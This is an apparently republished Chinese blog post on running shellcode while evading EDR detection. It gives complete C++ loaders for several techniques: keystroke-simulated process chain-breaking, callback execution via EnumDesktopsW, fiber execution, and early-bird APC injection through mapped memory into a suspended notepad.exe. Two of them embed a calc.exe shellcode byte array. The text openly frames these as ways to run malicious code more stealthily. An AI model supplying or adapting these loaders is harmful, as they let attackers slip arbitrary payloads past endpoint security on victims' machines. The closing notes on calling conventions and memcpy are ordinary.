EDR下的线程安全

2024-03-25 23:52
文章标签 线程 安全 edr

本文主要是介绍EDR下的线程安全,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 前记
    • 进程断链
    • 回调执行
    • 纤程
    • 内存属性修改
    • early bird+Mapping
    • 后记
    • reference

前记

触发EDR远程线程扫描关键api:createprocesscreateremotethreadvoid(指针)、createthread

为了更加的opsec,尽量采取别的方式执行恶意代码,下面简单给出一些思路

进程断链

#include <windows.h>
#include<iostream>void SimulateKeyPress(WORD keyCode) {INPUT inputs[2] = {};ZeroMemory(inputs, sizeof(inputs));inputs[0].type = INPUT_KEYBOARD;inputs[0].ki.wVk = keyCode;Sleep(500);inputs[1].type = INPUT_KEYBOARD;inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;UINT uSent = SendInput(2, inputs, sizeof(INPUT));
}
int main()
{// 调用 ShellExecute 函数,执行一个命令HINSTANCE  hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTOREif ((int)hReturn < 32) {printf("0");return 0;}printf("% d", (int)hReturn);HWND hExplorer = FindWindowA("CabinetWClass", NULL);if (hExplorer) {// 将资源管理器窗口设置为前台窗口SetForegroundWindow(hExplorer);}else {printf("Explorer window not found.\n");}SimulateKeyPress(0x32);//这里以ascii为参数,实际为'2.exe'SimulateKeyPress(VK_RETURN);return 0;
}

通过模拟键盘点击,完成进程断链,父进程为explore

在这里插入图片描述

进程断链相比于父进程欺骗更加安全,但是在核晶环境下会被禁止模拟键盘的行为

回调执行

回调可以很好的规避EDR对远程线程的内存扫描,举例如下

#include <windows.h>
#include<iostream>//calc shellcode
unsigned char rawData[276] = {};
int main()
{LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(addr, rawData, sizeof(rawData));EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);return 0;
}

纤程

纤程允许在单个线程中有多个执行流,每个执行流都有自己的寄存器状态和堆栈。另一方面,纤程对内核是不可见的,这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。

#include <windows.h>void like() {//calc shellcodeunsigned char rawData[276] = {0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00};LPVOID fiber = ConvertThreadToFiber(NULL);LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);CopyMemory(Alloc, rawData, sizeof(rawData));LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);SwitchToFiber(shellFiber);
}int main() {like();
}

内存属性修改

内存属性修改流程:RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread

让EDR扫描内存时处于无权限状态即可

early bird+Mapping

early bird,APC注入的变种

Mapping:内存映射

  • 创建一个挂起的进程(通常是windows的合法进程)
  • 在挂起的进程内申请一块可读可写可执行的内存空间
  • 往申请的空间内写入shellcode
  • 将APC插入到该进程的主线程
  • 恢复挂起进程的线程
#include <Windows.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")void mymemcpy(void* dst, void* src, size_t size);
int main()
{//calc shellcodeunsigned char rawData[276] = {0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00};LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";STARTUPINFO sInfo = { 0 };PROCESS_INFORMATION pInfo = { 0 };sInfo.cb = sizeof(STARTUPINFO);CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);HANDLE hProc = pInfo.hProcess;HANDLE hThread = pInfo.hThread;HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));mymemcpy(lpMapAddress, rawData, sizeof(rawData));LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);ResumeThread(hThread);CloseHandle(hThread);CloseHandle(hProc);CloseHandle(hMapping);UnmapViewOfFile(lpMapAddress);return 0;
}
void mymemcpy(void* dst, void* src, size_t size)
{char* psrc, * pdst;if (dst == NULL || src == NULL)return;if (dst <= src){psrc = (char*)src;pdst = (char*)dst;while (size--)*pdst++ = *psrc++;}else{psrc = (char*)src + size - 1;pdst = (char*)dst + size - 1;while (size--) {*pdst-- = *psrc--;}}
}

后记

传参规则

#include<iostream>
using namespace std;
void func(int a, int b)
{cout << "func:\n";cout << "a = " << a << "\tb = " << b << endl;
}
int main(void)
{int v = 3;func(v, v++);cout << "v=" << v;v = 3;func(v, ++v);v = 3;func(++v, v);v = 3;func(v++, v);return 0;
}

func:
a = 3 b = 3
v=4
func:
a = 4 b = 4
func:
a = 4 b = 4
func:
a = 3 b = 3

函数声明区别

__cdecl:

C/C++默认方式,参数从右向左入栈,主调函数负责栈平衡。

__stdcall:

windows API默认方式,参数从右向左入栈,被调函数负责栈平衡。

__fastcall:

快速调用方式。所谓快速,这种方式选择将参数优先从寄存器传入(ECX和EDX),剩下的参数再从右向左从栈传入。

在x86下出现明显特征

    19: 	func1(4, 5);//__cdecl
00981B31 6A 05                push        5  
00981B33 6A 04                push        4  
00981B35 E8 2D F7 FF FF       call        func1 (0981267h)  
00981B3A 83 C4 08             add         esp,8  20: 	func2(4, 5);//__stdcall
00981B3D 6A 05                push        5  
00981B3F 6A 04                push        4  
00981B41 E8 62 F7 FF FF       call        func2 (09812A8h)  21: 	func3(4, 5);//__fastcall
00981B46 BA 05 00 00 00       mov         edx,5  
00981B4B B9 04 00 00 00       mov         ecx,4  
00981B50 E8 2C F6 FF FF       call        func3 (0981181h)  

自实现copymemory

void mymemcpy(void* dst, void* src, size_t size)
{char* psrc, * pdst;if (dst == NULL || src == NULL)return;if (dst <= src){psrc = (char*)src;pdst = (char*)dst;while (size--)*pdst++ = *psrc++;}else{psrc = (char*)src + size - 1;pdst = (char*)dst + size - 1;while (size--) {*pdst-- = *psrc--;}}
}

reference

https://www.cnblogs.com/fdxsec/p/17995030#1winexec
https://github.com/aahmad097/AlternativeShellcodeExec
https://xz.aliyun.com/t/11153?time__1311=mqmx0DyDcDn0e7KDsKoYKmc8KDC7KFD9BoD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-9

这篇关于EDR下的线程安全的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/846671

相关文章

JDK21对虚拟线程的几种用法实践指南

《JDK21对虚拟线程的几种用法实践指南》虚拟线程是Java中的一种轻量级线程,由JVM管理,特别适合于I/O密集型任务,:本文主要介绍JDK21对虚拟线程的几种用法,文中通过代码介绍的非常详细,... 目录一、参考官方文档二、什么是虚拟线程三、几种用法1、Thread.ofVirtual().start(

Java 虚拟线程的创建与使用深度解析

《Java虚拟线程的创建与使用深度解析》虚拟线程是Java19中以预览特性形式引入,Java21起正式发布的轻量级线程,本文给大家介绍Java虚拟线程的创建与使用,感兴趣的朋友一起看看吧... 目录一、虚拟线程简介1.1 什么是虚拟线程?1.2 为什么需要虚拟线程?二、虚拟线程与平台线程对比代码对比示例:三

Java 线程池+分布式实现代码

《Java线程池+分布式实现代码》在Java开发中,池通过预先创建并管理一定数量的资源,避免频繁创建和销毁资源带来的性能开销,从而提高系统效率,:本文主要介绍Java线程池+分布式实现代码,需要... 目录1. 线程池1.1 自定义线程池实现1.1.1 线程池核心1.1.2 代码示例1.2 总结流程2. J

Java JUC并发集合详解之线程安全容器完全攻略

《JavaJUC并发集合详解之线程安全容器完全攻略》Java通过java.util.concurrent(JUC)包提供了一整套线程安全的并发容器,它们不仅是简单的同步包装,更是基于精妙并发算法构建... 目录一、为什么需要JUC并发集合?二、核心并发集合分类与详解三、选型指南:如何选择合适的并发容器?在多

Java中如何正确的停掉线程

《Java中如何正确的停掉线程》Java通过interrupt()通知线程停止而非强制,确保线程自主处理中断,避免数据损坏,线程池的shutdown()等待任务完成,shutdownNow()强制中断... 目录为什么不强制停止为什么 Java 不提供强制停止线程的能力呢?如何用interrupt停止线程s

python 线程池顺序执行的方法实现

《python线程池顺序执行的方法实现》在Python中,线程池默认是并发执行任务的,但若需要实现任务的顺序执行,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋... 目录方案一:强制单线程(伪顺序执行)方案二:按提交顺序获取结果方案三:任务间依赖控制方案四:队列顺序消

SpringBoot实现虚拟线程的方案

《SpringBoot实现虚拟线程的方案》Java19引入虚拟线程,本文就来介绍一下SpringBoot实现虚拟线程的方案,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,... 目录什么是虚拟线程虚拟线程和普通线程的区别SpringBoot使用虚拟线程配置@Async性能对比H

在Java中实现线程之间的数据共享的几种方式总结

《在Java中实现线程之间的数据共享的几种方式总结》在Java中实现线程间数据共享是并发编程的核心需求,但需要谨慎处理同步问题以避免竞态条件,本文通过代码示例给大家介绍了几种主要实现方式及其最佳实践,... 目录1. 共享变量与同步机制2. 轻量级通信机制3. 线程安全容器4. 线程局部变量(ThreadL

Linux线程同步/互斥过程详解

《Linux线程同步/互斥过程详解》文章讲解多线程并发访问导致竞态条件,需通过互斥锁、原子操作和条件变量实现线程安全与同步,分析死锁条件及避免方法,并介绍RAII封装技术提升资源管理效率... 目录01. 资源共享问题1.1 多线程并发访问1.2 临界区与临界资源1.3 锁的引入02. 多线程案例2.1 为

Java中的xxl-job调度器线程池工作机制

《Java中的xxl-job调度器线程池工作机制》xxl-job通过快慢线程池分离短时与长时任务,动态降级超时任务至慢池,结合异步触发和资源隔离机制,提升高频调度的性能与稳定性,支撑高并发场景下的可靠... 目录⚙️ 一、调度器线程池的核心设计 二、线程池的工作流程 三、线程池配置参数与优化 四、总结:线程